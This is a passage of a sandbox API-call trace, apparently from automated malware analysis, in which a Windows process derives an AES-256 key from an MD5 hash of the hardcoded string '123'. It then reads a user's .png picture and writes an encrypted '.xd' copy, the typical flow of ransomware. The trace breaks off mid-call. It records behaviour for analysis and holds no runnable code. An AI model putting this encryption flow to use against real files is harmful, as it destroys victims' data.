cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.470] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.470] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.471] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.471] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.471] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.471] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.471] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.471] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.471] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.472] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.472] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.472] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.472] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.472] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.473] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.473] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aaab0) returned 1 [0061.473] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.474] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.474] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.474] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.474] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.474] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.474] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.474] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.474] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.475] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.475] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.475] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.475] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.475] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.475] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.475] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.475] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.475] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.476] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.476] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.476] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.476] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.476] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.476] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.476] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.476] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.477] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.477] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.477] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.477] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.477] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.477] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.477] CryptCreateHash (in: hProv=0x17aaab0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.478] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.478] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.478] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.479] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.479] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.479] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.479] CryptHashData (hHash=0x164c4f0, pbData=0x16293c0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.479] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.479] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.480] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.480] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.480] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.480] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.480] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.480] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621660, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.480] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.480] CryptDeriveKey (in: hProv=0x17aaab0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c930) returned 1 [0061.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.481] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.481] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.481] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.482] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.482] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0061.482] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.482] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.482] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\uia_l7aybe5jptsu.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.483] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.483] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.483] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.483] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp")) returned 0x10 [0061.484] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\UIA_l7aybe5jptsU.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\uia_l7aybe5jptsu.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.485] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.487] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.489] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.492] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1306, lpOverlapped=0x0) returned 1 [0061.493] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.498] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.498] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.498] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.498] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.503] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.504] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.507] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.507] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.507] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.507] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.507] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.507] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.507] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.507] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.508] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.508] CryptGetKeyParam (in: hKey=0x164c930, dwParam=0x7, pbData=0x1629440, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629440*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.508] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.508] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.508] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.508] PeekMessageW (in: 